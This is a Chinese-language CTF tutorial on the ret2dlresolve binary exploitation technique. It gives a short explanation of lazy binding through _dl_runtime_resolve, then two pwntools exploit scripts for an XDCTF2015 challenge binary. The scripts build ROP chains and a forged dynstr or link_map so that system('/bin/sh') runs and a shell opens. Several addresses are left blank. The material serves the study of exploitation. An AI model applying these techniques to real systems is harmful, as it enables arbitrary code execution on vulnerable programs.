借鉴文档:【精选】ret2dlresolve超详细教程(x86&x64)-CSDN博客
x86
前置知识
在Linux中,程序使用_dl_runtime_resolve(link_map,reloc_offset)来对动态链接的函数进行重定位。
而ret2dlresolve攻击的核心就是控制相应的参数及其对应地址的内容,从而控制解析的函数。
延迟绑定机制
第一次调用一个函数时,先是到plt表,然后jmp到got表
此时got表存的地址是在plt表上
其实也就是jmp got的下一条指令,这里先是push一个数字(该函数在rel.plt上的偏移,reloc_arg,后文会讲到),然后jmp到plt[0] (0x8048380)
在plt[0]处先是push got[1],got[1]就是link_map(链接器的标识信息,后文会讲到),然后jmp到got[2]处,got[2]就是_dl_runtime_resolve函数的地址
所以相当于执行了
1
| _dl_runtime_resolve(link_map,reloc_arg)
|
这个函数会完成符号的解析,即将真实的write函数地址写入其GOT表对应的条目中,随后将控制器交给被解析的函数
x64
NO RELRO
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * context(os='linux',arch='amd64',log_level='debug')
r = process('./') elf = ELF('./') read_plt = elf.plt['read']
target_addr = 0x600988 + 8
plt0_load =
pop_rdi =
pop_rsi =
fake_dynstr = '\x00libc.so.6\x00stdin\x00system\x00'
bss = offset = payload = flat('a' * offset , pop_rdi , 0 , pop_rsi , bss , 0 , read_plt , pop_rdi , 0 , pop_rsi , target_addr , 0 , read_plt , pop_rdi , bss , plt0_load , 1
)
r.recvuntil('Welcome to XDCTF2015~!\n') r.sendline(payload)
payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr sleep(1) r.sendline(payload2) sleep(1)
r.sendline(p64(bss + 0x10)) r.interactive()
|
PARTIAL_RELRO
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import * context(os='linux',arch='amd64',log_level='debug')
r = process('./') elf = ELF('./') libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') read_plt = elf.plt['read'] write_got = elf.got['write'] vuln_addr = elf.sym['vuln']
bss = bss_stage = bss + 0x100 l_addr = libc.sym['system'] -libc.sym['write'] pop_rdi =
pop_rsi =
plt0 = plt_load = plt0 + 6
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): linkmap = p64(offset & (2 ** 64 - 1))
linkmap += p64(0) linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) linkmap += p64(0x7) linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0) linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68,b'A') linkmap += p64(fake_linkmap_addr) linkmap += p64(fake_linkmap_addr + 0x38) linkmap = linkmap.ljust(0xf8,b'A') linkmap += p64(fake_linkmap_addr + 0x8) return linkmap
fake_link_map = fake_Linkmap_payload(bss_stage, write_got ,l_addr)
payload = flat( 'a' * 120 ,pop_rdi, 0 , pop_rsi , bss_stage , 0 , read_plt , pop_rsi , 0 ,0 , pop_rdi , bss_stage + 0x48 , plt_load , bss_stage , 0 )
r.recvuntil('Welcome to XDCTF2015~!\n') r.sendline(payload)
r.send(fake_link_map)
r.interactive()
|